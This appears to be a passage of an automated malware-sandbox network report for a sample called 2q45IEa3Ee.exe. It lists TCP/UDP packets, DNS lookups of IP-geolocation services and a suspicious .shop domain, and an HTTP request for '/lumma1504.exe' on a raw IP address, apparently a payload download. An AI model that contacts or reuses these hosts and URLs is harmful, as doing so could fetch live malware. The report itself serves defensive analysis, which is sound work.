Apr 21, 2024 15:31:36.035181999 CEST	49769	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:36.035203934 CEST	443	49769	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:36.076035023 CEST	49770	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:36.076141119 CEST	443	49770	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:36.076276064 CEST	49770	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:36.076591969 CEST	49770	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:36.076630116 CEST	443	49770	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:36.290669918 CEST	443	49770	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:36.290832996 CEST	49770	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:36.292041063 CEST	49770	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:36.292066097 CEST	443	49770	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:36.292294979 CEST	443	49770	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:36.293508053 CEST	49770	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:36.313987970 CEST	49770	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:36.314062119 CEST	443	49770	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:36.314140081 CEST	49770	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:36.314162970 CEST	443	49770	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:36.885701895 CEST	443	49770	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:36.885776043 CEST	443	49770	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:36.885994911 CEST	49770	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:36.885994911 CEST	49770	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:36.937021971 CEST	49771	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:36.937076092 CEST	443	49771	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:36.937174082 CEST	49771	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:36.937475920 CEST	49771	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:36.937494040 CEST	443	49771	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:37.157561064 CEST	443	49771	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:37.157773018 CEST	49771	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:37.158900976 CEST	49771	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:37.158934116 CEST	443	49771	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:37.159161091 CEST	443	49771	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:37.160177946 CEST	49771	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:37.160288095 CEST	49771	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:37.160326958 CEST	443	49771	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:37.193413973 CEST	49770	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:37.193451881 CEST	443	49770	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:37.563560009 CEST	443	49771	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:37.563659906 CEST	443	49771	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:37.563843966 CEST	49771	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:37.564038038 CEST	49771	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:37.564060926 CEST	443	49771	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:37.579819918 CEST	49772	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:37.579850912 CEST	443	49772	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:37.580070972 CEST	49772	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:37.580199003 CEST	49772	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:37.580212116 CEST	443	49772	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:37.797600031 CEST	443	49772	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:37.797724962 CEST	49772	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:37.798990965 CEST	49772	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:37.798995972 CEST	443	49772	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:37.799209118 CEST	443	49772	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:37.800487041 CEST	49772	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:37.800580025 CEST	49772	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:37.800585032 CEST	443	49772	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:38.177263021 CEST	443	49772	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:38.177366972 CEST	443	49772	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:38.177508116 CEST	49772	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:38.177649975 CEST	49772	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:38.177659988 CEST	443	49772	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:38.596580029 CEST	49773	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:38.596671104 CEST	443	49773	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:38.596787930 CEST	49773	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:38.597069979 CEST	49773	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:38.597101927 CEST	443	49773	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:38.815046072 CEST	443	49773	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:38.815198898 CEST	49773	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:38.816385031 CEST	49773	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:38.816406012 CEST	443	49773	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:38.816626072 CEST	443	49773	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:38.819737911 CEST	49773	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:38.820625067 CEST	49773	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:38.820688963 CEST	443	49773	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:38.824641943 CEST	49773	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:38.824686050 CEST	443	49773	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:38.828710079 CEST	49773	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:38.828762054 CEST	443	49773	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:38.832726002 CEST	49773	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:38.832786083 CEST	443	49773	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:38.835990906 CEST	49773	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:38.836050987 CEST	443	49773	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:38.836756945 CEST	49773	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:38.836791992 CEST	443	49773	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:38.836817026 CEST	49773	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:38.836843967 CEST	443	49773	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:38.837116957 CEST	49773	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:38.837160110 CEST	443	49773	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:38.837198019 CEST	49773	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:38.837275982 CEST	49773	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:38.837326050 CEST	49773	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:38.880136013 CEST	443	49773	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:38.880338907 CEST	49773	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:38.880377054 CEST	443	49773	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:38.880410910 CEST	49773	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:38.880444050 CEST	443	49773	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:38.880513906 CEST	49773	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:38.880547047 CEST	443	49773	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:40.468918085 CEST	443	49773	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:40.469043016 CEST	443	49773	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:40.469147921 CEST	49773	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:40.469305038 CEST	49773	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:40.469347000 CEST	443	49773	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:41.198343039 CEST	49774	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:41.198426962 CEST	443	49774	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:41.198518991 CEST	49774	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:41.199553013 CEST	49774	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:41.199590921 CEST	443	49774	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:41.418332100 CEST	443	49774	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:41.418416977 CEST	49774	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:41.419845104 CEST	49774	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:41.419872999 CEST	443	49774	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:41.420104980 CEST	443	49774	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:41.465842962 CEST	49774	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:41.465842962 CEST	49774	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:41.465955019 CEST	443	49774	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:41.963442087 CEST	443	49774	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:41.963505983 CEST	443	49774	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:41.963579893 CEST	49774	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:41.963804007 CEST	49774	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:41.963850975 CEST	443	49774	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:41.963928938 CEST	49774	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:41.963943958 CEST	443	49774	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:41.966834068 CEST	49775	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:41.966913939 CEST	443	49775	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:41.967015982 CEST	49775	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:41.967278957 CEST	49775	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:41.967314959 CEST	443	49775	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:42.183988094 CEST	443	49775	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:42.184206963 CEST	49775	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:42.185420036 CEST	49775	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:42.185451984 CEST	443	49775	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:42.185673952 CEST	443	49775	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:42.186866045 CEST	49775	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:42.186866045 CEST	49775	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:42.186929941 CEST	443	49775	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:42.731878996 CEST	443	49775	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:42.731906891 CEST	443	49775	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:42.731951952 CEST	443	49775	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:42.731971025 CEST	443	49775	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:42.731992006 CEST	443	49775	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:42.732007027 CEST	443	49775	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:42.732080936 CEST	443	49775	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:42.732094049 CEST	49775	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:42.732094049 CEST	49775	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:42.732094049 CEST	49775	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:42.732137918 CEST	443	49775	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:42.732178926 CEST	443	49775	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:42.732196093 CEST	443	49775	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:42.732198954 CEST	49775	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:42.732204914 CEST	443	49775	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:42.732234955 CEST	49775	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:42.732686996 CEST	443	49775	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:42.732739925 CEST	49775	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:42.732748032 CEST	443	49775	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:42.732762098 CEST	443	49775	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:42.732810020 CEST	49775	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:42.732954025 CEST	49775	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:42.732969999 CEST	443	49775	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:42.732985020 CEST	49775	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:42.732990980 CEST	443	49775	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:42.755670071 CEST	49776	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:42.755711079 CEST	443	49776	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:42.755798101 CEST	49776	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:42.756247997 CEST	49776	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:42.756263971 CEST	443	49776	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:42.974857092 CEST	443	49776	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:42.974946022 CEST	49776	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:42.976061106 CEST	49776	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:42.976069927 CEST	443	49776	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:42.976301908 CEST	443	49776	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:42.977286100 CEST	49776	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:42.977427006 CEST	49776	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:42.977458954 CEST	443	49776	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:42.977519989 CEST	49776	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:42.977530003 CEST	443	49776	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:43.520678043 CEST	443	49776	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:43.520766020 CEST	443	49776	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:43.520832062 CEST	49776	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:43.521058083 CEST	49776	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:43.521079063 CEST	443	49776	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:43.540682077 CEST	49777	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:43.540776968 CEST	443	49777	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:43.540884972 CEST	49777	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:43.541137934 CEST	49777	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:43.541157961 CEST	443	49777	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:43.760598898 CEST	443	49777	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:43.760797024 CEST	49777	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:43.761818886 CEST	49777	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:43.761847019 CEST	443	49777	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:43.762068987 CEST	443	49777	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:43.763113022 CEST	49777	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:43.763226986 CEST	49777	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:43.763263941 CEST	443	49777	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:44.284857988 CEST	443	49777	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:44.284984112 CEST	443	49777	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:44.285064936 CEST	49777	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:44.285065889 CEST	49777	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:44.322886944 CEST	49778	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:44.322967052 CEST	443	49778	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:44.323246956 CEST	49778	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:44.323393106 CEST	49778	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:44.323415995 CEST	443	49778	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:44.543528080 CEST	443	49778	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:44.543646097 CEST	49778	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:44.544842958 CEST	49778	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:44.544863939 CEST	443	49778	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:44.545275927 CEST	443	49778	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:44.546365976 CEST	49778	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:44.546500921 CEST	49778	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:44.546546936 CEST	443	49778	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:44.546629906 CEST	49778	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:44.546644926 CEST	443	49778	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:44.584049940 CEST	49777	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:44.584079981 CEST	443	49777	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:44.985836983 CEST	443	49778	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:44.985971928 CEST	443	49778	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:44.986145020 CEST	49778	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:44.986218929 CEST	49778	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:44.986258030 CEST	443	49778	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:45.037807941 CEST	49779	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:45.037861109 CEST	443	49779	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:45.037929058 CEST	49779	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:45.038330078 CEST	49779	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:45.038340092 CEST	443	49779	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:45.258126020 CEST	443	49779	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:45.258236885 CEST	49779	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:45.267136097 CEST	49779	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:45.267160892 CEST	443	49779	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:45.267559052 CEST	443	49779	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:45.268747091 CEST	49779	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:45.268868923 CEST	49779	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:45.268893957 CEST	443	49779	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:45.657916069 CEST	443	49779	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:45.658068895 CEST	443	49779	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:45.658235073 CEST	49779	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:45.659333944 CEST	49779	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:45.659348011 CEST	443	49779	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:45.672919035 CEST	49780	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:45.673007011 CEST	443	49780	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:45.673147917 CEST	49780	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:45.673425913 CEST	49780	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:45.673475027 CEST	443	49780	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:45.893929958 CEST	443	49780	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:45.894119024 CEST	49780	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:45.895256042 CEST	49780	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:45.895265102 CEST	443	49780	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:45.895603895 CEST	443	49780	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:45.896857023 CEST	49780	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:45.896935940 CEST	49780	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:45.896944046 CEST	443	49780	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:46.406929970 CEST	443	49780	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:46.407052040 CEST	443	49780	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:46.407116890 CEST	49780	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:46.407221079 CEST	49780	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:46.407282114 CEST	443	49780	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:46.835844040 CEST	49781	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:46.835947037 CEST	443	49781	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:46.836067915 CEST	49781	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:46.836354971 CEST	49781	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:46.836391926 CEST	443	49781	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:47.058368921 CEST	443	49781	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:47.058613062 CEST	49781	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:47.059763908 CEST	49781	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:47.059782982 CEST	443	49781	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:47.060132980 CEST	443	49781	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:47.061326981 CEST	49781	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:47.062066078 CEST	49781	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:47.062114954 CEST	443	49781	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:47.062226057 CEST	49781	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:47.062277079 CEST	443	49781	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:47.062411070 CEST	49781	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:47.062448978 CEST	443	49781	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:47.062611103 CEST	49781	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:47.062655926 CEST	443	49781	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:47.062835932 CEST	49781	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:47.062884092 CEST	443	49781	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:47.063066959 CEST	49781	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:47.063106060 CEST	443	49781	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:47.063131094 CEST	49781	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:47.063155890 CEST	443	49781	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:47.063270092 CEST	49781	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:47.063304901 CEST	443	49781	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:47.063339949 CEST	49781	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:47.063427925 CEST	49781	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:47.063468933 CEST	49781	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:47.108118057 CEST	443	49781	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:47.108494997 CEST	49781	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:47.108572960 CEST	49781	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:47.108627081 CEST	49781	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:47.156136990 CEST	443	49781	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:47.156757116 CEST	49781	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:47.204138041 CEST	443	49781	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:48.651071072 CEST	443	49781	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:48.651134014 CEST	443	49781	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:48.651206017 CEST	49781	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:48.651386023 CEST	49781	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:48.651431084 CEST	443	49781	172.67.189.66	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 21, 2024 15:31:11.948151112 CEST	57407	53	192.168.2.4	1.1.1.1
Apr 21, 2024 15:31:12.054332972 CEST	53	57407	1.1.1.1	192.168.2.4
Apr 21, 2024 15:31:12.604170084 CEST	65458	53	192.168.2.4	1.1.1.1
Apr 21, 2024 15:31:12.710485935 CEST	53	65458	1.1.1.1	192.168.2.4
Apr 21, 2024 15:31:20.586831093 CEST	52093	53	192.168.2.4	1.1.1.1
Apr 21, 2024 15:31:20.719496965 CEST	53	52093	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 21, 2024 15:31:11.948151112 CEST	192.168.2.4	1.1.1.1	0x82fa	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Apr 21, 2024 15:31:12.604170084 CEST	192.168.2.4	1.1.1.1	0xca8d	Standard query (0)	db-ip.com	A (IP address)	IN (0x0001)	false
Apr 21, 2024 15:31:20.586831093 CEST	192.168.2.4	1.1.1.1	0x1d46	Standard query (0)	bordersoarmanusjuw.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 21, 2024 15:31:12.054332972 CEST	1.1.1.1	192.168.2.4	0x82fa	No error (0)	ipinfo.io	34.117.186.192	A (IP address)	IN (0x0001)	false
Apr 21, 2024 15:31:12.710485935 CEST	1.1.1.1	192.168.2.4	0xca8d	No error (0)	db-ip.com	104.26.5.15	A (IP address)	IN (0x0001)	false
Apr 21, 2024 15:31:12.710485935 CEST	1.1.1.1	192.168.2.4	0xca8d	No error (0)	db-ip.com	104.26.4.15	A (IP address)	IN (0x0001)	false
Apr 21, 2024 15:31:12.710485935 CEST	1.1.1.1	192.168.2.4	0xca8d	No error (0)	db-ip.com	172.67.75.166	A (IP address)	IN (0x0001)	false
Apr 21, 2024 15:31:20.719496965 CEST	1.1.1.1	192.168.2.4	0x1d46	No error (0)	bordersoarmanusjuw.shop	172.67.189.66	A (IP address)	IN (0x0001)	false
Apr 21, 2024 15:31:20.719496965 CEST	1.1.1.1	192.168.2.4	0x1d46	No error (0)	bordersoarmanusjuw.shop	104.21.9.123	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

https:

ipinfo.io

db-ip.com

bordersoarmanusjuw.shop

193.233.132.253

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49740	193.233.132.253	80	6736	C:\Users\user\Desktop\2q45IEa3Ee.exe

Timestamp	Bytes transferred	Direction	Data
Apr 21, 2024 15:31:18.443950891 CEST	223	OUT	HEAD /lumma1504.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 193.233.132.253 Cache-Control: no-cache
Apr 21, 2024 15:31:18.696966887 CEST	155	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Length: 315904 Date: Sun, 21 Apr 2024 13:31:18 GMT Server: Python/3.10 aiohttp/3.8.6
